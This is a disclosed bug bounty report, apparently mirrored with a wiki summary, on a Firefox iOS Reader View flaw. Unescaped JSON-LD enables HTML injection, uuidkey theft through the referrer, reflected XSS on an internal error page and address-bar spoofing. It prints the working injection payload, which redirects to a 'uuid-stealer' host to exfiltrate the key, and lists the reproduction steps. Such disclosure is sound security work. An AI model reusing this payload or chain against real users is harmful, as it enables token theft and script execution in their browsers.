Arbitrary JS execution on chrome (internal: ) domain through JSON-LD in Reader View
JSON-LD metadata embedded in Firefox iOS Reader View was not HTML-escaped, so a crafted page could inject markup that disabled the referrer policy and leaked the uuidkey from the page URL. That leaked key then allowed access to an internal error page with reflected XSS, giving script execution on the internal scheme and address-bar spoofing.
Originally disclosed on Mozilla
- Fixed in 10 days
- Paid in 25 days
- Disclosed after 10 days
Created attachment 9576074
fxios-xss-on-internal-domain-through-readerview-jsonld.mov
User Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/147.0.0.0 Safari/537.36
Steps to reproduce:
1. Visit https://csrf.jp/2026/fxios-reader-jsonld-xss.php
2. Push ⚡️ button in address bar
3. XSS is fired and an alert dialog is shown in internal://local domain
Actual results:
Please see the attached .mov file for the reproduction.
The technical details of this vulnerability are below.
* In [this commit](https://github.com/mozilla-mobile/firefox-ios/commit/9397513e14529b373df994553b721fbd6373c187), JSON-LD metadata was embedded in ReaderView, but HTML tags contained in the JSON were not escaped.
* ReaderView is protected by CSP, so XSS was not possible on this screen. However, arbitrary HTML can be executed. By embedding the following markup, I disabled ReaderView's Referrer Policy and successfully exfiltrated uuidkey contained in the page URL to my own site via the referrer header.
'''
<\/script><meta name=referrer content=unsafe-url><h1>Wait 3 seconds...<meta http-equiv='refresh' content='3; url=https://csrf.jp/2026/fxios-reader-uuid-stealer.php'>
'''
* FxiOS allows user access to any URL from a standard web page by appending valid “uuidkey” to the URL parameters.
* Here, I opened `internal://local/errorpage`. This page has a reflected XSS vulnerability, which allowed an attacker to trigger an XSS attack via a query parameter.
* Finally, XSS attack was successfully achieved on the internal: scheme URL. However, there was another interesting point besides the XSS vulnerability. On this error page, it was also possible to spoof the domain displayed in the address bar through URL parameters. In the video above, you can see that the address bar displays “FAKE.google.com.”
* [Here](https://github.com/mozilla-mobile/firefox-ios/blob/main/firefox-ios/Client/Frontend/InternalSchemeHandler/ErrorPageHelper.swift#L296), the `APP_ID_TOKEN` is embedded in the error page's HTML, so I could obtain the messageHandler token via this XSS.
Expected results:
HTML tags in JSON-LD value should be escaped.
Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.
How it worked
Root cause
Likely the JSON-LD values were inserted into Reader View HTML without escaping, and the internal error page reflected a query parameter without sanitising it.
Impact
An attacker could run script in the internal scheme, read the message handler token, and spoof the domain shown in the address bar; Reader View's CSP blocked direct script there, so the attacker chained through the internal error page instead.
What the attacker needed
Victim opens attacker page; victim taps Reader View; Firefox iOS app
The fix
HTML tags in JSON-LD values should be escaped, and the internal error page should not reflect query parameters unsafely.
How it was found
- Open the attacker's test page in Firefox iOS.
- Tap the Reader View button in the address bar.
- The injected markup runs and the referrer policy is changed to leak the uuidkey.
- Use the leaked uuidkey to open the internal error page with a crafted query parameter.
- Script executes on the internal scheme and the address bar can be spoofed.
Explained by bugbounty.wiki with AI from the original and checked against quotes from it; it can still be wrong. Read the original before relying on a detail.
Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.
Reader View is a mode that strips a page down to its article text. The app copied some page metadata into that view without cleaning it, so a malicious page could slip in its own HTML. That let the attacker steal a secret token from the address and then run their own script inside the browser's internal pages.
What is XSS?
Script an attacker supplies runs in another user's browser, on the target's origin, with that user's session.